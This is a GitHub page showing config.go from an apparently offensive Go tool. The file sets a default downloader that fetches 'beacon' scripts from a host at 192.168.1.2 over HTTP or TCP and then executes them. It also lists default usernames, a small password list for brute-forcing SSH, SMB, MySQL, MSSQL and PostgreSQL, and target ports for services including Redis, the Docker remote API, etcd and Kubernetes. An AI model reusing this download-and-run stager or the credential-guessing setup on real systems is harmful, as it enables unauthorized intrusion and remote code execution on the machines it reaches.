-
Notifications
You must be signed in to change notification settings - Fork 4
/
config.go
43 lines (39 loc) · 1009 Bytes
/
config.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package common
var DefaultDownloader = Downloader{
WinHTTP: Loader{
Addr: "http://192.168.1.2:8080/beacon.bat",
FileName: "beacon.bat",
ExecCommand: "beacon.bat",
},
UnixHTTP: Loader{
Addr: "http://192.168.1.2:8080/beacon.sh",
FileName: "beacon.sh",
ExecCommand: "beacon.sh",
},
UnixTCP: Loader{
Addr: "192.168.1.2:8553/beacon.sh",
FileName: "beacon.sh",
ExecCommand: "beacon.sh",
},
}
var Userdict = map[string][]string{
"mysql": {"root"},
"ssh": {"root"},
"smb": {"Administrator"},
"mssql": {"sa"},
"postgresql": {"postgres"},
}
var Passwords = []string{"123456", "{user}", "{user}@123"}
var PortList = map[string]string{
"ssh": "22",
"smb": "445",
"web": "80,443,8080,8090",
"mssql": "1433",
"docker-remote": "2375",
"etcd": "2379",
"mysql": "3306",
"postgresql": "5432",
"redis": "6379",
"kube-api": "6443",
"kubelet": "10250",
}